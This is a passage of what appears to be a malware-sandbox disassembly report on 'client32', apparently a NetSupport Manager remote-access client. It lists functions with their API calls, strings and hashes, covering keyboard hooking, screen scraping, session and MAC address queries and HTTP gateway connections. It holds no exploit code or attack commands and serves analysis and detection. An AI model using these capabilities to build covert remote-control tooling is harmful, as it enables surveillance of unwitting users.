Instruction Fuzzy Hash: 74416174A40704AFDB289F769D84E6BFBF8FF55B18B50492EE445D3A00EB74E8008B59

Function 110AA170 Relevance: 56.2, APIs: 27, Strings: 5, Instructions: 236
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(setupapi.dll,EFF676FC,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000,111856D8), ref: 110AA1A3
GetProcAddress.KERNEL32(00000000,SetupDiGetClassDevsA), ref: 110AA1C7
SetupDiGetClassDevsA.SETUPAPI(111A7EDC,00000000,00000000,00000012,?,?,?,?,?,?,?,?,?,00000000,111856D8,000000FF), ref: 110AA1E1
GetProcAddress.KERNEL32(00000000,SetupDiEnumDeviceInterfaces), ref: 110AA20C
_free.LIBCMT ref: 110AA240
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110AA252
GetLastError.KERNEL32 ref: 110AA27D
_malloc.LIBCMT ref: 110AA293
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110AA2B5
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,00000000,111856D8,000000FF,?,1102F855,Client), ref: 110AA2E7
SetLastError.KERNEL32(00000078), ref: 110AA2FB
GetLastError.KERNEL32 ref: 110AA301
_free.LIBCMT ref: 110AA313
SetLastError.KERNEL32(00000078), ref: 110AA324
SetLastError.KERNEL32(00000078), ref: 110AA331
_free.LIBCMT ref: 110AA344
FreeLibrary.KERNEL32(?,?), ref: 110AA354
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,111856D8,000000FF,?,1102F855,Client), ref: 110AA3F8

Strings

SetupDiGetClassDevsA, xrefs: 110AA1BB
SetupDiDestroyDeviceInfoList, xrefs: 110AA3A0
setupapi.dll, xrefs: 110AA19B
SetupDiGetDeviceInterfaceDetailA, xrefs: 110AA24C, 110AA2AF
SetupDiEnumDeviceInterfaces, xrefs: 110AA206

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$AddressProc$Library_free$Free$ClassDevsLoadSetup_malloc
String ID: SetupDiDestroyDeviceInfoList$SetupDiEnumDeviceInterfaces$SetupDiGetClassDevsA$SetupDiGetDeviceInterfaceDetailA$setupapi.dll
API String ID: 3464732724-3340099623
Opcode ID: dbc8acc033e5e24f37873c07638d6d638064cee8c874e7b38a73b383613d7029
Instruction ID: 5c4fa76f58df98f84a8804f3b2f927c1121c913996f050c4ed1f836ab53a5840
Opcode Fuzzy Hash: dbc8acc033e5e24f37873c07638d6d638064cee8c874e7b38a73b383613d7029
Instruction Fuzzy Hash: CE818472D40219EBEB04DFE4ED88F9EBBB8AF44704F104528F922A76C4DB759945CB50

Function 1102E199 Relevance: 49.3, APIs: 7, Strings: 21, Instructions: 319
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,Client,screenscrape,00000001,00000003,TCPIP,ListenPort,00000000,00000003,00000003,?,?,?,?,?,?), ref: 1102E501

Strings

WTSQuerySessionInformationA, xrefs: 1102E56E
TSMode, xrefs: 1102E4B0
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102E5C4
ClientName, xrefs: 1102E6B5
DisableConsoleClient, xrefs: 1102E437
ts macaddr=%s, xrefs: 1102E5EC
client32.ini, xrefs: 1102E325
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E9E0
210979, xrefs: 1102E715, 1102E93C, 1102E9B1
ListenPort, xrefs: 1102E4D0
Client, xrefs: 1102E4B5, 1102E4ED, 1102E604
Wtsapi32.dll, xrefs: 1102E4FC
TCPIP, xrefs: 1102E4D5
, xrefs: 1102E685
client32 dbi %hs, xrefs: 1102E993
screenscrape, xrefs: 1102E4E8
Error x%x reading %s, sesh=%d, xrefs: 1102E381
MacAddress, xrefs: 1102E5FF
18/11/16 11:28:14 V12.10F20, xrefs: 1102E98E
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E9BA
WTSFreeMemory, xrefs: 1102E631

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: $18/11/16 11:28:14 V12.10F20$210979$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$ListenPort$MacAddress$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 1029625771-3195067467
Opcode ID: 4844477a3dfa00db22a4a3eae4f5fa09477cc507549c10b77b16c479c19a4a69
Instruction ID: db6713792a15d7fd58b1be38af693bfb3b21aad0558d55bfb54ca6815a31c46c
Opcode Fuzzy Hash: 4844477a3dfa00db22a4a3eae4f5fa09477cc507549c10b77b16c479c19a4a69
Instruction Fuzzy Hash: B1C1EF75E4127A9BEB22CF918C94FEDF7B9BB48308F8044E9E559A7240D6706E80CB51

Function 11142010 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 266
libraryregistryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(User32.dll,00000000,?), ref: 11142063
FreeLibrary.KERNEL32(00000000), ref: 111420D3
LoadLibraryA.KERNEL32(imm32,?,?,00000000,?), ref: 111420F6
GetClassInfoExA.USER32(11000000,NSMWClass,?), ref: 11142155
_memset.LIBCMT ref: 11142169
LoadCursorA.USER32(00000000,00007F00), ref: 111421B9
GetStockObject.GDI32(00000000), ref: 111421C3
RegisterClassExA.USER32(?), ref: 111421DA
LoadLibraryA.KERNEL32(pcihooks,?,?,00000000,?), ref: 11142272
GetProcAddress.KERNEL32(00000000,HookKeyboard), ref: 11142287
SetTimer.USER32(00000000,00000000,000003E8,1113D980), ref: 111423AA
#17.COMCTL32(?,?,?,00000000,?), ref: 111423D8
LoadLibraryA.KERNEL32(riched32.dll,?,?,?,00000000,?), ref: 111423E3

Part of subcall function 11017A40: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,EFF676FC,11030346,00000000), ref: 11017A6E
Part of subcall function 11017A40: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 11017A7E
Part of subcall function 11017A40: GetProcAddress.KERNEL32(00000000,QueueUserWorkItem), ref: 11017AC2
Part of subcall function 11017A40: FreeLibrary.KERNEL32(00000000), ref: 11017AE8

Part of subcall function 110CCC90: CreateWindowExA.USER32(00000000,button,11195264,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000000,00000000), ref: 110CCCC9
Part of subcall function 110CCC90: SetClassLongA.USER32(00000000,000000E8,110CCA10), ref: 110CCCE0

Strings

View, xrefs: 111422C1
HookKeyboard, xrefs: 11142281
*quiet, xrefs: 1114211D
riched32.dll, xrefs: 111423DE
InitUI (%d), xrefs: 1114203C
_License, xrefs: 11142122
TraceCopyData, xrefs: 111422DC
NSMWClass, xrefs: 11142147, 111421D3
_debug, xrefs: 111422E1
User32.dll, xrefs: 11142057
imm32, xrefs: 111420EC
NSMGetAppIcon(), xrefs: 11142196
UI.CPP, xrefs: 11142191, 111421EC
pcihooks, xrefs: 1114226D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$Load$Class$AddressCreateFreeProc$CursorEventInfoLongObjectRegisterStockTimerWindow_memset
String ID: *quiet$HookKeyboard$InitUI (%d)$NSMGetAppIcon()$NSMWClass$TraceCopyData$UI.CPP$User32.dll$View$_License$_debug$imm32$pcihooks$riched32.dll
API String ID: 3706574701-3145203681
Opcode ID: c8cd067e95ed8df30712ab26ad1b5c3d5f0c1ca3db4a3fb2271c70030aa03097
Instruction ID: dd3f645cf5ef2db3b7f5f54c26e54504db449fd0c20b07bc67f1527c65be20eb
Opcode Fuzzy Hash: c8cd067e95ed8df30712ab26ad1b5c3d5f0c1ca3db4a3fb2271c70030aa03097
Instruction Fuzzy Hash: F8A18CB8E02266DFDB01DFE5D9C4AA9FBB4BB0870CF60453EE125A7648E7305484CB55

Function 6EEF63C0 Relevance: 47.4, APIs: 24, Strings: 3, Instructions: 181
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(6EF3B898,00000000,?,00000000,?,6EEFD77B,00000000), ref: 6EEF63E8
InterlockedDecrement.KERNEL32(-0003F3B7), ref: 6EEF63FA
EnterCriticalSection.KERNEL32(-0003F3CF,?,00000000,?,6EEFD77B,00000000), ref: 6EEF6412
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6EEF643B
SetLastError.KERNEL32(00000078,?,00000000,?,6EEFD77B,00000000), ref: 6EEF6450
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6EEF646F
SetLastError.KERNEL32(00000078,?,00000000,?,6EEFD77B,00000000), ref: 6EEF6484
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6EEF64A3
SetLastError.KERNEL32(00000078,?,00000000,?,6EEFD77B,00000000), ref: 6EEF64C5
shutdown.WSOCK32(?,00000001,?,00000000,?,6EEFD77B,00000000), ref: 6EEF64E9
GetLastError.KERNEL32(?,00000001,?,00000000,?,6EEFD77B,00000000), ref: 6EEF64F2
timeGetTime.WINMM(?,00000001,?,00000000,?,6EEFD77B,00000000), ref: 6EEF6510
#16.WSOCK32(?,?,00001000,00000000,?,00000000,?,6EEFD77B,00000000), ref: 6EEF6526
GetLastError.KERNEL32(?,?,00001000,00000000,?,00000000,?,6EEFD77B,00000000), ref: 6EEF6533
timeGetTime.WINMM(?,00000000,?,6EEFD77B,00000000), ref: 6EEF6540
Sleep.KERNEL32(00000001,?,00000000,?,6EEFD77B,00000000), ref: 6EEF654B
#16.WSOCK32(?,?,00001000,00000000,?,?,00001000,00000000,?,00000000,?,6EEFD77B,00000000), ref: 6EEF6563
closesocket.WSOCK32(?,?,?,00001000,00000000,?,00000000,?,6EEFD77B,00000000), ref: 6EEF6574
WSAGetLastError.WSOCK32(?,?,?,00001000,00000000,?,00000000,?,6EEFD77B,00000000), ref: 6EEF657D
Sleep.KERNEL32(00000032,?,?,?,00001000,00000000,?,00000000,?,6EEFD77B,00000000), ref: 6EEF658E
GetLastError.KERNEL32(?,?,?,00001000,00000000,?,00000000,?,6EEFD77B,00000000), ref: 6EEF659E
_memset.LIBCMT ref: 6EEF65C8
LeaveCriticalSection.KERNEL32(?,?,6EEFD77B,00000000), ref: 6EEF65D7
LeaveCriticalSection.KERNEL32(6EF3B898,?,00000000,?,6EEFD77B,00000000), ref: 6EEF65F2

Strings

CloseGatewayConnection - closesocket(%u) FAILED (%d), xrefs: 6EEF65A9
CloseGatewayConnection - shutdown(%u) FAILED (%d), xrefs: 6EEF64FD
InternetCloseHandle, xrefs: 6EEF6435, 6EEF6469, 6EEF649D

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$CriticalSection$AddressProc$EnterLeaveSleepTimetime$DecrementInterlocked_memsetclosesocketshutdown
String ID: CloseGatewayConnection - closesocket(%u) FAILED (%d)$CloseGatewayConnection - shutdown(%u) FAILED (%d)$InternetCloseHandle
API String ID: 3764039262-2631155478
Opcode ID: e7cf5c6f81519337c51056a1e4f5718799656627da67c22f28e71c2c22781c7d
Instruction ID: 244669a2023ee2f62774b257a3a8a5b16c21f663809e65d6d7a0990f5901dcd3
Opcode Fuzzy Hash: e7cf5c6f81519337c51056a1e4f5718799656627da67c22f28e71c2c22781c7d
Instruction Fuzzy Hash: 2051E971624B06DFDB20EFE4C884B9573BABF89319F200915E909D7284E7B0E845CBE0

Function 6EEF98D0 Relevance: 45.8, APIs: 15, Strings: 11, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strncmp.LIBCMT ref: 6EEF996F
_strncmp.LIBCMT ref: 6EEF99A5

Strings

abort send, gateway hungup, xrefs: 6EEF9D2E
NC_DATA, xrefs: 6EEF9969
CMD=NC_DATA, xrefs: 6EEF999F
%s, xrefs: 6EEF9AAA
xx %02x, xrefs: 6EEF9AFB
SendHttpReq failed, not connected to gateway!, xrefs: 6EEF9934, 6EEF9B79
Error %d sending HTTP request on connection %d, xrefs: 6EEF9D1F
Error send returned 0 on connection %d, xrefs: 6EEF9CF8
%02x %02x, xrefs: 6EEF9AE7
3', xrefs: 6EEF9CB2
Error %d writing inet request on connection %d, xrefs: 6EEF9BE3

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: %02x %02x$%s$3'$CMD=NC_DATA$Error %d sending HTTP request on connection %d$Error %d writing inet request on connection %d$Error send returned 0 on connection %d$NC_DATA$SendHttpReq failed, not connected to gateway!$abort send, gateway hungup$xx %02x
API String ID: 909875538-2848211065
Opcode ID: 7c50ab3a33b63770fe0815867e2d0cdc93b869b6a3863dece58b6977c5f92084
Instruction ID: 03fca40053fc26cc4994e4bb331fbc1ddc2685e7e2b86e294ec354d328fb764b
Opcode Fuzzy Hash: 7c50ab3a33b63770fe0815867e2d0cdc93b869b6a3863dece58b6977c5f92084
Instruction Fuzzy Hash: A1D1E571A14219DFDB20CFE4C890BD9B775AF4A308F2441DAD84D9B345E732998ACF91

Function 11028C10 Relevance: 42.5, APIs: 2, Strings: 22, Instructions: 542
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,73A81370,?,0000001A), ref: 11028CFD
_strrchr.LIBCMT ref: 11028D0C

Part of subcall function 1116558E: __stricmp_l.LIBCMT ref: 111655CB

Strings

\, xrefs: 11028C8C
SupportWWW, xrefs: 11028FB5
??I, xrefs: 11029317
TechConsole, xrefs: 1102913D
ShortName, xrefs: 11028EC5
Name, xrefs: 11028E5E
LongName, xrefs: 11028E95
product.dat, xrefs: 11028CC0, 11028D11
NSSAppDataDir, xrefs: 11029045
NSSConfName, xrefs: 11029075
NSSTLA, xrefs: 11028F85
TLA, xrefs: 11028F25
SupportsAndroid, xrefs: 110291A2
NSMAppDataDir, xrefs: 11029015
Home, xrefs: 11028EF5
NSSName, xrefs: 11028F55
AssistantName, xrefs: 110290AC
AssistantURL, xrefs: 110290D9
SupportsChrome, xrefs: 11029106
??F, xrefs: 11029290
NSSLongCaption, xrefs: 11029175
SupportEMail, xrefs: 11028FE5

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileModuleName__stricmp_l_strrchr
String ID: ??F$??I$AssistantName$AssistantURL$Home$LongName$NSMAppDataDir$NSSAppDataDir$NSSConfName$NSSLongCaption$NSSName$NSSTLA$Name$ShortName$SupportEMail$SupportWWW$SupportsAndroid$SupportsChrome$TLA$TechConsole$\$product.dat
API String ID: 1609618855-357498123
Opcode ID: bda617b4801821ad68c06afa38a0a882f0d0530b8b097215d3e19e3faa20ac69
Instruction ID: 6dd15402a7eb79c0789e25bc58f14fe58cbd6334f89e1d0f8744b7b944579b3b
Opcode Fuzzy Hash: bda617b4801821ad68c06afa38a0a882f0d0530b8b097215d3e19e3faa20ac69
Instruction Fuzzy Hash: 86120738D052A68FDB16CF64CC84BE8B7F4AB1634CF5000EED9D597601EB72568ACB52

Function 6EF06BA0 Relevance: 42.3, APIs: 18, Strings: 6, Instructions: 273sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6EF06BD5
GetTickCount.KERNEL32 ref: 6EF06C26
Sleep.KERNEL32(00000064), ref: 6EF06C5B

Part of subcall function 6EF06940: GetTickCount.KERNEL32 ref: 6EF06950

WaitForSingleObject.KERNEL32(0000031C,?), ref: 6EF06C7C
_memmove.LIBCMT ref: 6EF06C93
select.WSOCK32(00000000,?,00000000,00000000,?), ref: 6EF06CB4
Sleep.KERNEL32(00000032,00000000,?,00000000,00000000,?), ref: 6EF06CD9
GetTickCount.KERNEL32 ref: 6EF06CEC
_calloc.LIBCMT ref: 6EF06D76
GetTickCount.KERNEL32 ref: 6EF06DF3
InterlockedExchange.KERNEL32(03792D5A,00000000), ref: 6EF06E01
_calloc.LIBCMT ref: 6EF06E33
_memmove.LIBCMT ref: 6EF06E47
InterlockedDecrement.KERNEL32(03792D02), ref: 6EF06EC3
SetEvent.KERNEL32(00000324), ref: 6EF06ECF
_memmove.LIBCMT ref: 6EF06EF4
GetTickCount.KERNEL32 ref: 6EF06F4F
InterlockedExchange.KERNEL32(03792CA2,-6EF3A188), ref: 6EF06F60

Strings

ReadMessage returned FALSE. Terminating connection, xrefs: 6EF06F3A
httprecv, xrefs: 6EF06BDD
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6EF06E62
ResumeTimeout, xrefs: 6EF06BBA
ProcessMessage returned FALSE. Terminating connection, xrefs: 6EF06F25
FALSE, xrefs: 6EF06E67

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked_memmove$ExchangeSleep_calloc$DecrementEventObjectSingleWaitselect
String ID: FALSE$ProcessMessage returned FALSE. Terminating connection$ReadMessage returned FALSE. Terminating connection$ResumeTimeout$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$httprecv
API String ID: 1449423504-919941520
Opcode ID: 639abb3234b573ca1d7f616aca7b981de7677b15ea10cb8587379398a0bd6a8d
Instruction ID: 41de51a0b9cd570ed3e315178f033d7ef204a581e99ab0fbb922438fe5ebe768
Opcode Fuzzy Hash: 639abb3234b573ca1d7f616aca7b981de7677b15ea10cb8587379398a0bd6a8d
Instruction Fuzzy Hash: BDB1B2B1D20668DBDF20DFA4CC64BD973B9EB48304F01449AE949A7640E7B49AC4DFA1

Function 11030EF3 Relevance: 40.6, APIs: 10, Strings: 13, Instructions: 350registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 11030F12
RegCloseKey.KERNEL32(?), ref: 11031037

Part of subcall function 111648ED: __isdigit_l.LIBCMT ref: 11164912

GetStockObject.GDI32(0000000D), ref: 110312E6
GetObjectA.GDI32(00000000,0000003C,?), ref: 110312F6
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11031334
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 1103133A
InterlockedExchange.KERNEL32(02DD8D80,00001388), ref: 110313BA
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 110313EC

Part of subcall function 11143BD0: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1111025B,75A78400,?,?,11145D2F,00000000,CSDVersion,00000000,00000000,?), ref: 11143BF0

Strings

CurrentMajorVersionNumber, xrefs: 11030FCD
j0U, xrefs: 11031554
*, xrefs: 11031381
.%d, xrefs: 110313F6
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 11030EFE
, xrefs: 110313C2
3, xrefs: 11031066
&, xrefs: 11031585
j, xrefs: 11031341
CurrentMinorVersionNumber, xrefs: 11031000
CurrentVersion, xrefs: 11030F35
Error %s unloading audiocap dll, xrefs: 11031603
pcicl32, xrefs: 110314C5

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$CloseExchangeInterlockedOpenQueryStockValue__isdigit_l
String ID: .%d$3$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$Error %s unloading audiocap dll$SOFTWARE\Microsoft\Windows NT\CurrentVersion$j0U$pcicl32$&$*$j$
API String ID: 1620732580-3468083601
Opcode ID: 57ef328ae7d238af9a72f0207df80887d2bea8460ebc5795ade3b7fe5304f569
Instruction ID: ba3a9277cc9c02863ea6a287e3bfaf4f3c25cdbc6a51068d255f8e3b0b30a81f
Opcode Fuzzy Hash: 57ef328ae7d238af9a72f0207df80887d2bea8460ebc5795ade3b7fe5304f569
Instruction Fuzzy Hash: A0D10AB0E153659FEF11CBB48C84BEEFBF4AB84308F1445E9E419A7284EB756A40CB51

Function 110869D0 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 161libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000001,0000DD7C), ref: 11086A5C
